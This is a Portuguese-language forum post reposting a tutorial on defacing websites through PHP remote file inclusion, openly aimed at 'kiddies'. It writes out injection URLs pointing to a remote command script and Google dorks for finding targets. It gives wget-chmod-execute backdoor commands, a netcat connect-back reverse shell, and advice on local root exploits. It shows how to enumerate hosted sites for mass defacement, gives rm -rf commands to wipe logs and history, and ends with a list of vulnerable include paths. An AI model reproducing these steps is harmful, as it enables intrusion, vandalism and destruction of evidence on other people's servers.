Galera, peguei esse super tuto de um fórum aê na net... Vcs num imaginam o trabalho q deu pra editar... ;).
Obs 1.: Este tutorial foi feito para explicar uma das maneiras utilizadas por pessoas para desfigurar sites mas pode ser utilizado para outros fins. Vai da cabeça de cada um :P
4) Sintaxe
Ex.: www.site.com (http://www.site.com) /arquivo.php?data= http://CMD/cmd.gif?&cmd= (http://cmd/cmd.gif?&cmd=) ls
^ ^ ^ ^
Vitima String CmD comando unix
P.S.: Sem os espaços.
5) Procurando site vulnerávelUma excelente ferramenta para os kiddies, sem dúvida, é o google. Há várias maneiras de fazer buscas por ele, dentre elas:
Obs.: A palavra 'word' q irei citar aqui é qualquer coisa que você esteja procurando no sistema de busca.
word : Busca por sites q contenham a 'word' em qualquer lugar da pagina.
allinurl: : Sites que contenham na url a word citada.
Ex: www.site.com/forum/word.php?id=0 (http://www.site.com/forum/word.php?id=0) .
allintitle: : Restringe sua pesquisa ao título da página.
intitle: : Parecido com o de cima, para maiores esclarecimentos no final do tuto.
inanchor: : Busca nos links dentro co corpo dos sites. http://rootsystem.100free.com/cmd/cse.gif?&cmd= (http://rootsystem.100free.com/cmd/cse.gif?&cmd=)
(coded by Crash from datacha0s group.)
No resultado, insira a cmd na string. Ex: www.site.com/index.php?page=http://root ... .gif?&cmd= (http://www.site.com/index.php?page=http://rootsystem.100free.com/cmd/cse.gif?&cmd=)
Não tem mistério.
6.2) A Cmddatacha0s - PHP Command/Safemode Exploit
System Information
sysname: --> Sistema operacional rodando.
nodename: --> Nome local.
release: --> Versão do kernel.
Script Current User: --> Usuário pelo qual o script está sendo executado.
PHP Version: --> Versão do php da máquina
User Info: --> Informação do user (uid, euid, gid).
Current Path: --> Pasta atual que você está no server.
Server IP: --> Ip do servidor.
Web Server: --> Informações sobre o servidor.
[li] Command Mode Run
Command Stdout
(( aqui ficarao os resultados dos comandos ))
(( inseridos na cmd ))
Obs.: O script varia de cmd a cmd. Este é apenas um exemplo.
7) Ganhando acesso a shellPara os próximos passos, você precisa estar na shell (interpretador de comandos) da máquina. Para isto, explicarei duas maneiras de tornar isto possível: Backdoor e Connect Back.
7.1) Rodando backdoor no server para conexão remotaPara rodar um backdoor, basta fazer um upload, escolher permissões, e executá-lo.
Comando: cd /var/tmp;wget www.site.onde.est (http://www.site.onde.est)á.o.backdoor.com/backdoor;chmod 777 backdoor;./backdoor
cd /var/tmp -> Faz a operação nesta pasta, por ser comum a todos os usuários e devido às suas permissões.
/tmp tb serve :)
wget www.(.. (//http://).)/backdoor -> Copia o backdoor a partir de uma url para o site. Quando wget não funcionar, tente outros comandos. Sintaxes:
wget www.site.com/arquivo (http://www.site.com/arquivo)
lynx -source www.site.com/arquivo (http://www.site.com/arquivo) > arquivo
curl -o arquivo www.site.com/arquivo (http://www.site.com/arquivo)
GET www.site.com/arquivo (http://www.site.com/arquivo) > arquivo
(...)
Após feito isso, aparecerá a seguinte mensagem:
Daemon Working...
pid = XXXXX
Isto significa que o backdoor está rodando.
Agora, basta conectar-se à shell. Como?
No Win: Iniciar -> Executar -> telnet www.site.com (http://www.site.com) porta
Onde o www.site.com (http://www.site.com) recebe o nome ou ip do site que você rodou o backdoor e porta é a porta que o backdoor está trabalhando.
Se aparecer no telnet bash-2.05b$ ou algo parecido, é porque funcionou! E você tem acesso à shell na máquina!
Se demorar um tempo e não cair na shell, confira o nome/ip do server.. se estiver correto, ele está rodando Firewall. E agora? Simples, Connect Back. :P
7.2) Connect Back Método muito eficiente para ganhar shell numa máquina. Ganha shell reversamente.
Windows: Baixe o netcat para windows e no Prompt do MSDOS (na pasta que o nc se encontra), digite: nc -vv -l -p 15 , onde 15 pode ser escolhido de acordo com sua preferência. Esta porta será a que realizará a conexão.
Agora, voltando para o browser, na cmd digite o seguinte comando:
cd /var/tmp;wget www.site.do.dc.com/dc;chmod (http://www.site.do.dc.com/dc;chmod) 777 dc;./dc IP porta
cd /var/tmp -> Mesmo que para backdoor.
wget www.site.do.dc.com/dc (http://www.site.do.dc.com/dc) -> | | | | , mas é logico, com o endereço da dc.
./dc IP porta -> onde IP é o SEU IP e porta é a porta que você escolheu no netcat.
Feito isso, se ocorrer tudo certo, aparecerá como resultado:
Connect Back Backdoor
[li] Dumping Arguments
[li] Resolving Host Name
[li] Connecting...
[li] Spawning Shell
[li] Detached
Isto significa que você se conectou na shell! ;) Agora, vá para o MSDOS e vamos para o próximo passo. Se aparecer.
Connect Back Backdoor
[li] Dumping Arguments
[li] Resolving Host Name
[li] Connecting...
[-] Unable to Connect
confira os dados (seu ip, porta, netcat, etc). Se insistir, sua rede não aceita este tipo de conexão. Tente outras portas (como 80, 22, 15, etc).
___________
Na Shell8) Comandos básicosEu ia passar direto nessa parte, mas sei que muitos não conhecem os comandos unix. Então vamos conhecer alguns:
ls -> Lista arquivos. Pode ser combinado com -a (mostra ocultos) e -l (mostra detalhadamente). Ex: ls -la
(mostra detalhadamente os arquivos, inclusive ocultos).
uname -a -> Mostra informações do sistema, como versão do kernel, nome, e outras coisas uteis.
id -> Mostra sua id.
w -> Lista os usuários logados no momento.
cp -> Copia arquivos. Sintaxe: cp arquivo /destino/
mv -> Move arquivos. Sintexe: mv arquivo /destino/
rm -> Remove arquivos. Se combinado com -rf , remove todos
os arquivos setados, inclusive pastas
mkdir -> Cria diretorio
rmdir -> Exclui diretorio
find -> Procura por arquivos/pastas. Ex: " find /etc -name
httpd.conf " procura pelo httpd.conf na pasta /etc
pwd -> Mostra em que pasta você está localizado
cat -> Exibe o conteúdo de um arquivo na tela
head -> Exibe linhas do início do arquivo
tail -> || || || final do arquivo
ctrl+c -> Sai/killa um programa
ctrl+r -> Busca comando digitado no history do bash
ps -auxw -> Lista todos os processos do sistema
netstat -na -> Status da conexão
kill -9 -> Mata processo. Sintaxe: kill -9 PID DO PROCESSO
kill -HUP -> Reinicia processo. Sintaxe: kill -HUP ID DO PROCESSO
pico -> Editor de texto. Sintaxe: pico arquivo
vi -> | | vi arquivo
Salvando resultados em arquivos comando > /arquivo/onde/será/armazenado
Ex: ls /etc > /tmp/s.txt salva todo o resultado da listagem de /etc no arquivo /tmp/s.txt
Adicionando linhas em arquivos
echo ' linha ' >> /arquivo/onde/será/incluido
Descompactando arquivos (os mais comuns)
.tar -> tar xvf arquivo.tar
.tar.gz -> tar zxvf arquivo.tar.gz
.tar.bz2 -> tar jxvf arquivo.tar.bz2
.zip -> unzip arquivo.zip
Compactando arquivos (os mais comuns)
.tar -> tar cvf destino.tar ARQUIVO
.tar.gz -> tar cvf destino.tar ARQUIVO | gzip destino.tar
.tar.bz2 -> tar cvf destino.tar ARQUIVO | bzip2 destino.tar
.zip -> zip destino.zip ARQUIVO
Bom.. procure um tutorial de linux para maiores esclarecimentos :P
9) Ganhando acesso rootPara ganhar acesso root localmente numa máquina, vai depender muito. Você precisa de um exploit local e o sistema deve estar vulnerável. Simples, basta baixar, escolher as permissões e executar. Asim como você faz com o backdoor.. mas isto você faz na shell. Os mais comuns no momento são mremap , brk e kmod para kernel abaixo de 2.4.24
Se tudo ocorrer corretamente rootando a máquina, ao digitar o comando "id" você verá
bash-2.05b# id
uid=0(root) gid=0(root)
Pronto! Você é root! Divirta-se ;)
___________
Corrigindo o bug10) CorreçãoManeira bem simples de corrigir o bug de php é editando o arquivo php.ini na pasta de configuração do seu apache e desabilitando as funções system, exec, passthru, shell_exec
(...)
E, claro, sempre estar atento com novidades de security e manter-se atualizado :)))
___________
Fun for kiddiesBom, após ter root na máquina, pode-se fazer o que quiser :P Vai da criatividade e necessidade da pessoa.
Para kiddies, com o objetivo de pinchar os sites, vamos lá entender como isso funciona. Melhor, vou tentar explicar como faz um mass defacement.
11) Lista dos sites hospedados no server
Bom, para defacement, essa parte é essencial: saber quais os sites que estão lá. Mas como?
11.1) httpd.conf
Geralmente os dados dos sites hospedados ficam neste arquivo. Para fazer uma listagem dos sites, basta digitar um comando que irá ler o arquivo httpd.conf e imprimir as linhas que contenham ServerName (nome dos sites). (na pasta onde o httpd.conf se encontra)
cat httpd.conf | grep ServerName
(se estiverem neste arquivo mesmo, você pode salvar o resultado num arquivo - preferencialmente na pasta do site que você partiu - e fazer download)
cat /etc/httpd/conf/httpd.conf | grep ServerName
---->
Como? Bom, na CMD, digite pwd. Você verá o local onde você se encontra no servidor.
Ex: /home/httpd/vhosts/nasa.gov/web/
Digamos que a url seja esta: http://nasa.gov/index.php?page=CMD (http://nasa.gov/index.php?page=CMD)
Então, se você jogar o resultado para /home/httpd/vhosts/nasa.gov/web
Este arquivo estará na raiz do site. Só digitar este comando:
cat httpd.conf | grep ServerName > /home/httpd/vhosts/nasa.gov/we
b/RESULTADO.txt
(apenas um exemplo)
Feito isso, http://nasa.gov/RESULTADO.txt (http://nasa.gov/RESULTADO.txt) e baixar a lista :P Só assim
11.2) Outras maneiras...Se mesmo assim, não conseguir achar quais sites tem lá, procure formas alternativas. Infelizmente não tem como explicar pois em cada server há uma maneira. Exemplo:
Se na pasta onde os sites estão localizados, você listá-los e o resultado ja tiver o nome e domínio deles: ex: ls /home/httpd/vhosts
site.com
mtv.com.br
nasa.gov
whitehouse.gov
fuckbush.org
...etc
Outras vezes, se encontram num arquivo chamado confixxx_alguma_coisa ... não tem mágica. Vasculhe o server...
12) Fazendo o bendito o mass defacementBom, primeiro, crie uma index que você queira que fique no lugar das outras. Feita ela, jogue para algum lugar que você possa fazer o upload pro server.
Há locais gratuitos que podem ser utilizados, como o 100free.com .
Crie uma conta e jogue o index lá. Se quiser renomeá-lo pra .zip pra ficar sem propagandas, pode também :P
Posts: www.Zone-H.org (http://www.zone-h.org) www.coredumped.org (http://www.coredumped.org) www.delta5.com.br (http://www.delta5.com.br)
13) Apagando logs Alguns comandos úteis para apagar logs:
rm -rf /var/log
rm -rf /var/adm
rm -rf /var/apache/log
rm -rf $HISTFILE
find / -name .bash_history -exec rm -rf {} ;
find / -name .bash_logout -exec rm -rf {} ;
find / -name log* -exec rm -rf {} ;
find / -name *.log -exec rm -rf {} ;
___________
THE ENDPronto, acho que é só isso.. Qualquer erro, só dizer pra que eu possa corrigir
Greetz pra tds do irc
#el33t - irc.ircsul.com.br
#el33t - irc.irc.efnet.org
#rsy - irc.gigachat.net
#noturno - irc.brasnet.org
#r0x - irc.rizon.net
___________
Strings comuns /modules/mod_mainmenu.php?mosConfig_absolute_path=
/include/new-visitor.inc.php?lvc_include_dir=
/path_of_cpcommerce/_functions.php?prefix
/modules/My_eGallery/public/displayCategory.php?basepath=
/modules/4nAlbum/public/displayCategory.php?basepath=
/modules/coppermine/themes/default/theme.php?THEME_DIR=
/modules/agendax/addevent.inc.php?agendax_path=
/shoutbox/expanded.php?conf=
/modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=
/pivot/modules/module_db.php?pivot_path=
/library/editor/editor.php?root=
/library/lib.php?root=
/e107/e107_handlers/secure_img_render.php?p=
/main.php?x=
/index.php/main.php?x=
/index.php?include=
/index.php?x=
/index.php?open=
/index.php?visualizar=
/template.php?pagina=
/index.php?pagina=
/index.php?inc=
/include/write.php?dir=
/inc/step_one_tables.php?server_inc=
nao sei se vou falar bobagem , pq nao estou muito por dentro mas parece q ultimamente os defaces so sao feitos por PHP injection